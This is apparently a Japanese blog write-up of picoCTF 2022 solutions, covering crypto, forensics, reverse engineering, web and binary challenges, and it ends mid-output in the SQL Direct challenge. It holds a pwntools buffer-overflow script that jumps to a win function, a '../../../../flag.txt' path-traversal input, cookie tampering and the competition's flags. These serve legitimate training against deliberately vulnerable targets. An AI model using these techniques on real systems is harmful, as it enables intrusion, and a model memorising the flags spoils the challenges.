この大会は2022/3/16 2:00(JST)~2022/3/30 5:00(JST)に開催されました。
今回もチームで参戦。結果は11500点で7794チーム中296位でした。
自分で解けた問題をWriteupとして書いておきます。
basic-file-exploit (Binary Exploitation 100)
1で適当なデータを登録後、2で読み取るエントリナンバーを数字でなく文字列で指定すればよい。
$ nc saturn.picoctf.net 53641 Hi, welcome to my echo chamber! Type '1' to enter a phrase into our database Type '2' to echo a phrase in our database Type '3' to exit the program 1 1 Please enter your data: hoge hoge Please enter the length of your data: 4 4 Your entry number is: 1 Write successful, would you like to do anything else? 2 2 Please enter the entry number of your data: abcd abcd picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_C5BC1889}
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_C5BC1889}
basic-mod1 (Cryptography 100)
各数値のmod 37を計算し、0~25は英大文字、26~35は10進数、36は_で置き換える。
#!/usr/bin/env python3 import string with open('message.txt', 'r') as f: enc = [int(c) for c in f.read().split(' ')[:-1]] flag = '' for c in enc: code = c % 37 if code < 26: flag += string.ascii_uppercase[code] elif code < 36: flag += string.digits[code - 26] else: flag += '_' print(flag)
復号結果は以下の通り。
R0UND_N_R0UND_CE58A3A0
picoCTF{R0UND_N_R0UND_CE58A3A0}
basic-mod2 (Cryptography 100)
各数値のmod 41を計算し、その逆数が1~26は英大文字、27~36は10進数、37は_で置き換える。
#!/usr/bin/env python3 import string from Crypto.Util.number import * with open('message.txt', 'r') as f: enc = [int(c) for c in f.read().split(' ')[:-1]] flag = '' for c in enc: code = inverse(c % 41, 41) if code >= 1 and code < 27: flag += string.ascii_uppercase[code - 1] elif code < 37: flag += string.digits[code - 27] elif code == 37: flag += '_' print(flag)
復号結果は以下の通り。
1NV3R53LY_H4RD_B7FB947C
picoCTF{1NV3R53LY_H4RD_B7FB947C}
buffer overflow 0 (Binary Exploitation 100)
20バイト以上文字列を入力すると、セグメント不正が起こり、フラグが表示される。
$ nc saturn.picoctf.net 65445 Input: aaaaaaaaaaaaaaaaaaaaa picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}
picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}
credstuff (Cryptography 100)
usernames.txtのcultirisの行と同じ行のデータをpasswords.txtから取り出す。さらに取り出した文字列をrot13で復号する。
#!/usr/bin/env python3 import codecs with open('usernames.txt', 'r') as f: usernames = f.read().splitlines() with open('passwords.txt', 'r') as f: passwords = f.read().splitlines() index = usernames.index('cultiris') password = passwords[index] flag = codecs.decode(password, 'rot-13') print(flag)
picoCTF{C7r1F_54V35_71M3}
CVE-XXXX-XXXX (Binary Exploitation 100)
Windows Print Spooler Serviceで2021年に最初に記録されたリモートコード実行(RCE)の脆弱性のCVE番号を答える問題。「Windows Print Spooler Service 2021 CVE」でGoogle検索すると、CVE番号がわかる。
picoCTF{CVE-2021-34527}
Enhance! (Forensics 100)
添付のsvgファイルをテキストエディタで見ると、ところどころフラグの断片が埋め込まれている。
: id="tspan3748">p </tspan><tspan : id="tspan3754">i </tspan><tspan : id="tspan3756">c </tspan><tspan : id="tspan3758">o </tspan><tspan : id="tspan3760">C </tspan><tspan : id="tspan3762">T </tspan><tspan : id="tspan3764">F { 3 n h 4 n </tspan><tspan : id="tspan3752">c 3 d _ 5 6 e 8 7 c 9 6 }</tspan></text> :
picoCTF{3nh4nc3d_56e87c96}
file-run1 (Reverse Engineering 100)
実行するだけ。
$ ./run The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_2a4dec6a}
picoCTF{U51N6_Y0Ur_F1r57_F113_2a4dec6a}
file-run2 (Reverse Engineering 100)
問題に指定されている引数を指定し、実行する。
$ ./run Hello! The flag is: picoCTF{F1r57_4rgum3n7_0097836e}
picoCTF{F1r57_4rgum3n7_0097836e}
File types (Forensics 100)
$ file Flag.pdf Flag.pdf: shell archive text $ binwalk Flag.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Executable script, shebang: "/bin/sh" 168 0xA8 Executable script, shebang: "/bin/sh' line above, then type 'sh FILE'." 3029 0xBD5 uuencoded data, file name: "flag", file permissions: "600"
uuencode文字列部分をデコードし、ファイル出力する。
#!/usr/bin/env python3 import uu uu.decode('uu.txt', 'flag')
$ file flag flag: current ar archive $ mv flag flag.ar $ ar x flag.ar $ file flag flag: cpio archive $ mv flag flag.cpio $ cpio -id < flag.cpio flag 2 ブロック $ file flag flag: bzip2 compressed data, block size = 900k $ mv flag flag.bz2 $ bzip2 -d flag.bz2 $ file flag flag: gzip compressed data, was "flag", last modified: Tue Mar 15 06:50:49 2022, from Unix $ mv flag flag.gz $ gzip -d flag.gz $ file flag flag: lzip compressed data, version: 1 $ mv flag flag.lz $ lzip -d flag.lz $ file flag flag: LZ4 compressed data (v1.4+) $ mv flag flag.lz4 $ lz4 -d flag.lz4 Decoding file flag Successfully decoded 263 bytes $ file flag flag: LZMA compressed data, non-streamed, size 252 $ mv flag flag.lzma $ xz --format=lzma --decompress flag.lzma xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます $ file flag flag: lzop compressed data - version 1.040, LZO1X-1, os: Unix $ mv flag flag.lzo $ lzop -d flag.lzo $ file flag flag: lzip compressed data, version: 1 $ mv flag flag.lz $ lzip -d flag.lz $ file flag flag: XZ compressed data $ mv flag flag.xz $ xz -d flag.xz xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます $ file flag flag: ASCII text $ cat flag 7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f 6630725f3062326375723137795f37353137353362307d0a $ cat flag | xxd -r -p picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_751753b0}
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_751753b0}
GDB Test Drive (Reverse Engineering 100)
$ gdb -q ./gdbme Reading symbols from ./gdbme...(no debugging symbols found)...done. gdb-peda$ break *(main+99) Breakpoint 1 at 0x132a gdb-peda$ run Starting program: /mnt/hgfs/Shared/gdbme [----------------------------------registers-----------------------------------] RAX: 0x6230624760433530 ('05C`Gb0b') RBX: 0x0 RCX: 0x555555555390 (<__libc_csu_init>: endbr64) RDX: 0x4e60626665333236 ('623efb`N') RSI: 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme") RDI: 0x186a0 RBP: 0x7fffffffddf0 --> 0x555555555390 (<__libc_csu_init>: endbr64) RSP: 0x7fffffffdda0 --> 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme") RIP: 0x55555555532a (<main+99>: call 0x555555555110 <sleep@plt>) R8 : 0x7ffff7dced80 --> 0x0 R9 : 0x7ffff7dced80 --> 0x0 R10: 0x0 R11: 0x0 R12: 0x555555555120 (<_start>: endbr64) R13: 0x7fffffffded0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x55555555531d <main+86>: mov QWORD PTR [rbp-0x18],rdx 0x555555555321 <main+90>: mov BYTE PTR [rbp-0x10],0x0 0x555555555325 <main+94>: mov edi,0x186a0 => 0x55555555532a <main+99>: call 0x555555555110 <sleep@plt> 0x55555555532f <main+104>: lea rax,[rbp-0x30] 0x555555555333 <main+108>: mov rsi,rax 0x555555555336 <main+111>: mov edi,0x0 0x55555555533b <main+116>: call 0x555555555209 <rotate_encrypt> Guessed arguments: arg[0]: 0x186a0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdda0 --> 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme") 0008| 0x7fffffffdda8 --> 0x100f0b5ff 0016| 0x7fffffffddb0 --> 0xc2 0024| 0x7fffffffddb8 --> 0x5555555553dd (<__libc_csu_init+77>: add rbx,0x1) 0032| 0x7fffffffddc0 ("A:4@r%uL5b3F88bC05C`Gb0b623efb`N") 0040| 0x7fffffffddc8 ("5b3F88bC05C`Gb0b623efb`N") 0048| 0x7fffffffddd0 ("05C`Gb0b623efb`N") 0056| 0x7fffffffddd8 ("623efb`N") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000055555555532a in main () gdb-peda$ jump *(main+104) Continuing at 0x55555555532f. picoCTF{d3bugg3r_dr1v3_3eab6731} [Inferior 1 (process 84735) exited normally] Warning: not running
picoCTF{d3bugg3r_dr1v3_3eab6731}
Includes (Web Exploitatiojn 100)
HTMLソースで読み込んでいるcssとjsを順に見ていく。まずhttp://saturn.picoctf.net:52514/style.cssを見ると、コメントにフラグの断片がある。
/* picoCTF{1nclu51v17y_1of2_ */
http://saturn.picoctf.net:52514/script.jsを見ると、コメントにフラグの断片がある。
// f7w_2of2_5a94a145}
picoCTF{1nclu51v17y_1of2_f7w_2of2_5a94a145}
Inspect HTML (Web Exploitation 100)
HTMLソースを見たら、コメントにフラグが書いてあった。
picoCTF{1n5p3t0r_0f_h7ml_b101a689}
Local Authority (Web Exploitation 100)
http://saturn.picoctf.net:50959/login.phpのHTMLソースを見る。さらにそのページでリンクされているsecure.jsを見る。
function checkPassword(username, password) { if( username === 'admin' && password === 'strongPassword098765' ) { return true; } else { return false; } }
admin / strongPassword098765 でログインすると、フラグが表示された。
picoCTF{j5_15_7r4n5p4r3n7_b964a657}
Lookey here (Forensics 100)
$ strings anthem.flag.txt | grep picoCTF{ we think that the men of picoCTF{gr3p_15_@w3s0m3_0abe82b2}
picoCTF{gr3p_15_@w3s0m3_0abe82b2}
morse-code (Cryptography 100)
https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでwavからモールス信号をデコードする。
WH47 H47H 90D W20U9H7
picoCTF{wh47_h47h_90d_w20u9h7}
Packets Primer (Forensics 100)
No.4のパケットのData部にフラグが1文字ずつスペース区切りで入っていた。
picoCTF{p4ck37_5h4rk_309456e4}
patchme.py (Reverse Engineering 100)
passwordを正しく入れれば、フラグが表示される。passwordはコードにある文字列を連結させるだけでよい。
password = "ak98-=90adfjhgj321sleuth9000"
$ python3 patchme.flag.py Please enter correct password for flag: ak98-=90adfjhgj321sleuth9000 Welcome back... your flag, user: picoCTF{p47ch1ng_l1f3_h4ck_68aa6913}
picoCTF{p47ch1ng_l1f3_h4ck_68aa6913}
rail-fence (Cryptography 100)
レールフェンス暗号。https://www.dcode.fr/rail-fence-cipherで復号する。レール数は4とわかっているので、それを利用する。
The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_D81DB8E3
picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_D81DB8E3}
Redaction gone wrong (Forensics 100)
PDFを開くと部分的にマスクされている。全選択してコピペする。
Financial Report for ABC Labs, Kigali, Rwanda for the year 2021. Breakdown - Just painted over in MS word. Cost Benefit Analysis Credit Debit This is not the flag, keep looking Expenses from the picoCTF{C4n_Y0u_S33_m3_fully} Redacted document.
picoCTF{C4n_Y0u_S33_m3_fully}
Safe Opener (Reverse Engineering 100)
パスワードをbase64エンコードして、"cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz"と比較しているので、デコードする。
$ echo cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -d pl3as3_l3t_m3_1nt0_th3_saf3
picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}
Search source (Web Exploitation 100)
どこにフラグが書かれているかわからないので、サイトに利用されているファイルをすべてダウンロードして、検索する。
$ wget -r -l 0 http://saturn.picoctf.net:56849/ : : $ grep -rl picoCTF . ./saturn.picoctf.net:56849/css/style.css $ cat ./saturn.picoctf.net:56849/css/style.css | grep picoCTF /** banner_main picoCTF{1nsp3ti0n_0f_w3bpag3s_74784981} **/
picoCTF{1nsp3ti0n_0f_w3bpag3s_74784981}
Sleuthkit Intro (Forensics 100)
$ mmls disk.img DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0000204799 0000202752 Linux (0x83)
$ nc saturn.picoctf.net 52279 What is the size of the Linux partition in the given disk image? Length in sectors: 202752 202752 Great work! picoCTF{mm15_f7w!}
picoCTF{mm15_f7w!}
substitution0 (Cryptography 100)
http://quipqiup.com/で復号する。
ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetle from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at that time, unknown to naturalists—of course a great prize in a scientific point of view. There were two round black spots near one extremity of the back, and a long one near the other. The scales were exceedingly hard and glossy, with all the appearance of burnished gold. The weight of the insect was very remarkable, and, taking all things into consideration, I could hardly blame Jupiter for his opinion respecting it. The flag is: picoCTF{5UB5717U710N_3V0LU710N_B1D36772}
picoCTF{5UB5717U710N_3V0LU710N_B1D36772}
substitution1 (Cryptography 100)
http://quipqiup.com/で復号する。
CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E5B0CCDB}
picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E5B0CCDB}
substitution2 (Cryptography 100)
http://quipqiup.com/で復号し、それを参考にスクリプトで対応する文字を置換する。
#!/usr/bin/env python3 import string with open('message.txt', 'r') as f: ct = f.read() C = 'abcdefghijklmnopqrstuvwxyz' P = 'rwuha*ynetlgiofvmxps*kbc*d' pt = '' for c in ct: if c in string.ascii_lowercase: pt += P[C.index(c)] elif c in string.ascii_uppercase: pt += P[C.index(c.lower())].upper() else: pt += c print(pt)
復号結果は以下の通り。
thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsystemsadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteachvaluableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechni*uesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopi*uetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendtheirmachinestheflagispicoCTF{N6R4M_4N41Y515_15_73D10U5_6CF50B5C}
picoCTF{N6R4M_4N41Y515_15_73D10U5_6CF50B5C}
transposition-trial (Cryptography 100)
heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VE1A1D3D}B
3バイトごとに012が120になるように転置されているので、元に戻す。
#!/usr/bin/env python3 ct = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VE1A1D3D}B' pt = '' for i in range(0, len(ct), 3): pt += ct[i+2] + ct[i:i+2] print(pt)
復号結果は以下の通り。
The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_AE131DBD}
picoCTF{7R4N5P051N6_15_3XP3N51V3_AE131DBD}
unpackme.py (Reverse Engineering 100)
plain.decode()を標準出力する。
pw = input('What\'s the password? ') if pw == 'batteryhorse': print('picoCTF{175_chr157m45_45a1a353}') else: print('That password is incorrect.')
picoCTF{175_chr157m45_45a1a353}
Vigenere (Cryptography 100)
Vigenere暗号。https://www.dcode.fr/vigenere-cipherで復号する。
picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_b0fq78b8}
bloat.py (Reverse Engineering 200)
コードが読みにくいので、a[数値]を展開したコードにする。
>>> a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \ ... "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ " >>> a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68] 'happychance' >>> a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\ ... a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\ ... a[81]+a[68]+a[66]+a[83] 'That password is incorrect' >>> a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\ ... a[75]+a[72]+a[78]+a[77] 'rapscallion' >>> a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\ ... a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\ ... a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\ ... a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94] 'Please enter correct password for flag: ' >>> a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\ ... a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\ ... a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25] 'Welcome back... your flag, user:'
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \ "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ " def arg133(arg432): if arg432 == 'happychance': return True else: print('That password is incorrect') sys.exit(0) return False def arg111(arg444): return arg122(arg444.decode(), 'rapscallion') def arg232(): return input('Please enter correct password for flag: ') def arg132(): return open('flag.txt.enc', 'rb').read() def arg112(): print('Welcome back... your flag, user:') def arg122(arg432, arg423): arg433 = arg423 i = 0 while len(arg433) < len(arg432): arg433 = arg433 + arg423[i] i = (i + 1) % len(arg423) return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)]) arg444 = arg132() arg432 = arg232() arg133(arg432) arg112() arg423 = arg111(arg444) print(arg423) sys.exit(0)
パスワードに"happychanceと入力すればよさそう。
$ python3 bloat.flag.py Please enter correct password for flag: happychance Welcome back... your flag, user: picoCTF{d30bfu5c4710n_f7w_1763a697}
picoCTF{d30bfu5c4710n_f7w_1763a697}
buffer overflow 1 (Binary Exploitation 200)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped $ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln Please enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Okay, time to return... Fingers Crossed... Jumping to 0x41414641 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41 ('A') EBX: 0x61414145 ('EAAa') ECX: 0x41 ('A') EDX: 0xf7faf890 --> 0x0 ESI: 0xf7fae000 --> 0x1d4d8c EDI: 0x0 EBP: 0x41304141 ('AA0A') ESP: 0xffffcfb0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x41414641 ('AFAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffcfb0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffcfb4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffcfb8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffcfbc ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffcfc0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffcfc4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffcfc8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffcfcc ("AA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
BOFでwin関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 59458) else: p = process('./vuln') elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 44 payload += p32(win_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 59458: Done [*] '/mnt/hgfs/Shared/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments Please enter your string: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08' Okay, time to return... Fingers Crossed... Jumping to 0x80491f6 picoCTF{addr3ss3s_ar3_3asy_586b0fef} [*] Closed connection to saturn.picoctf.net port 59458
picoCTF{addr3ss3s_ar3_3asy_586b0fef}
diffie-hellman (Cryptography 200)
AliceとBobの秘密鍵がわかっているので、共有鍵を算出できる。あとは英大文字と数字の文字列でその共有鍵分だけシフトして復号する。
#!/usr/bin/python3 import string p = 13 g = 5 priv_a = 7 priv_b = 3 key = pow(g, priv_a * priv_b, p) with open('message.txt', 'r') as f: ct = f.read() chars = string.ascii_uppercase + string.digits pt = '' for c in ct: if c in chars: index = (chars.index(c) - key) % len(chars) pt += chars[index] else: pt += c print(f'picoCTF{{{pt}}}')
picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_8D48432A}
Forbidden Paths (Web Exploitation 200)
ファイルを読み取るWebサイト。相対パスでフラグを読み取る。以下を入力して[Read]ボタンを押すと、フラグが表示された。
../../../../flag.txt
picoCTF{7h3_p47h_70_5ucc355_32e3a320}
Fresh Java (Reverse Engineering 200)
classファイルをBytecodeViewerで開き、デコンパイルする。
import java.util.Scanner; public class KeygenMe { public static void main(String[] var0) { Scanner var1 = new Scanner(System.in); System.out.println("Enter key:"); String var2 = var1.nextLine(); if (var2.length() != 34) { System.out.println("Invalid key"); } else if (var2.charAt(33) != '}') { System.out.println("Invalid key"); } else if (var2.charAt(32) != '7') { System.out.println("Invalid key"); } else if (var2.charAt(31) != '9') { System.out.println("Invalid key"); } else if (var2.charAt(30) != '9') { System.out.println("Invalid key"); } else if (var2.charAt(29) != '3') { System.out.println("Invalid key"); } else if (var2.charAt(28) != '2') { System.out.println("Invalid key"); } else if (var2.charAt(27) != 'e') { System.out.println("Invalid key"); } else if (var2.charAt(26) != '4') { System.out.println("Invalid key"); } else if (var2.charAt(25) != '8') { System.out.println("Invalid key"); } else if (var2.charAt(24) != '_') { System.out.println("Invalid key"); } else if (var2.charAt(23) != 'd') { System.out.println("Invalid key"); } else if (var2.charAt(22) != '3') { System.out.println("Invalid key"); } else if (var2.charAt(21) != 'r') { System.out.println("Invalid key"); } else if (var2.charAt(20) != '1') { System.out.println("Invalid key"); } else if (var2.charAt(19) != 'u') { System.out.println("Invalid key"); } else if (var2.charAt(18) != 'q') { System.out.println("Invalid key"); } else if (var2.charAt(17) != '3') { System.out.println("Invalid key"); } else if (var2.charAt(16) != 'r') { System.out.println("Invalid key"); } else if (var2.charAt(15) != '_') { System.out.println("Invalid key"); } else if (var2.charAt(14) != 'g') { System.out.println("Invalid key"); } else if (var2.charAt(13) != 'n') { System.out.println("Invalid key"); } else if (var2.charAt(12) != '1') { System.out.println("Invalid key"); } else if (var2.charAt(11) != 'l') { System.out.println("Invalid key"); } else if (var2.charAt(10) != '0') { System.out.println("Invalid key"); } else if (var2.charAt(9) != '0') { System.out.println("Invalid key"); } else if (var2.charAt(8) != '7') { System.out.println("Invalid key"); } else if (var2.charAt(7) != '{') { System.out.println("Invalid key"); } else if (var2.charAt(6) != 'F') { System.out.println("Invalid key"); } else if (var2.charAt(5) != 'T') { System.out.println("Invalid key"); } else if (var2.charAt(4) != 'C') { System.out.println("Invalid key"); } else if (var2.charAt(3) != 'o') { System.out.println("Invalid key"); } else if (var2.charAt(2) != 'c') { System.out.println("Invalid key"); } else if (var2.charAt(1) != 'i') { System.out.println("Invalid key"); } else if (var2.charAt(0) != 'p') { System.out.println("Invalid key"); } else { System.out.println("Valid key"); } } }
インデックス0から順に、チェックして文字を結合する。
picoCTF{700l1ng_r3qu1r3d_84e23997}
Power Cookie (Web Exploitation 200)
[Continue as guest]をクリックすると、CookieのisAdminに0が設定される。CookieのisAdminに1を設定し、リロードすると、フラグが表示された。
picoCTF{gr4d3_A_c00k13_87608ba8}
Roboto Sans (Web Exploitation 200)
http://saturn.picoctf.net:57329/robots.txtにアクセスする。
User-agent * Disallow: /cgi-bin/ Think you have seen your flag or want to keep looking. ZmxhZzEudHh0;anMvbXlmaW anMvbXlmaWxlLnR4dA== svssshjweuiwl;oiho.bsvdaslejg Disallow: /wp-admin/
base64文字列がいくつかあるので、デコードする。
$ echo ZmxhZzEudHh0 | base64 -d flag1.txt $ echo anMvbXlmaWxlLnR4dA== | base64 -d js/myfile.txt
http://saturn.picoctf.net:57329/js/myfile.txtにアクセスしたら、フラグが表示された。
picoCTF{Who_D03sN7_L1k5_90B0T5_87ccf72a}
RPS (Binary Exploitation 200)
勝ちの判定はコンピュータの手の対応するlosesの値が自分の手に含まれているかどうかで行っている。"rock", "paper", "scissors"すべてが含まれる文字列を指定すれば必ず勝つ。
$ nc saturn.picoctf.net 53296 Welcome challenger to the game of Rock, Paper, Scissors For anyone that beats me 5 times in a row, I will offer up a flag I found Are you ready? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: paper You win! Play again? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: paper You win! Play again? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Congrats, here's the flag! picoCTF{50M3_3X7R3M3_1UCK_8525F21D} Type '1' to play a game Type '2' to exit the program
picoCTF{50M3_3X7R3M3_1UCK_8525F21D}
Secrets (Web Exploitation 200)
http://saturn.picoctf.net:49810/about.htmlのHTMLソースを見ると、secret/assets/index.cssへのリンクがある。
http://saturn.picoctf.net:49810/secret/にアクセスし、HTMLソースを見ると、hidden/file.cssへのリンクがある。
http://saturn.picoctf.net:49810/secret/hidden/にアクセスし、HTMLソースを見ると、superhidden/login.cssへのリンクがある。
http://saturn.picoctf.net:49810/secret/hidden/superhidden/にアクセスし、HTMLソースを見るとフラグが書いてあった。
picoCTF{succ3ss_@h3n1c@10n_08de81e4}
Sleuthkit Apprentice (Forensics 200)
Autopsyで開き、ビューからファイルタイプでプレーンテキストを見ると、flag.txtとflag.uni.txtがある。そのうちflag.uni.txtの方にフラグが書いてあった。
picoCTF{by73_5urf3r_11b94644}
SQL Direct (Web Exploitation 200)
DBサーバにリモートで接続し、フラグのありかを探す。
$ psql -h saturn.picoctf.net -p 62481 -U postgres pico Password for user postgres: psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1), server 14.2 (Debian 14.2-1.pgdg110+1)) WARNING: psql major version 12, server major version 14. Some psql features might not work. Type "help" for help. pico=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+------------+------------+----------------------- pico | postgres | UTF8 | en_US.utf8 | en_US.utf8 | postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 | template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres + | | | | | postgres=CTc/postgres (4 rows) pico=# \d List of relations Schema | Name | Type | Owner --------+-------+-------+---------- public | flags | table | postgres (1 row) pico=# \d flags Table "public.flags" Column | Type | Collation | Nullable | Default 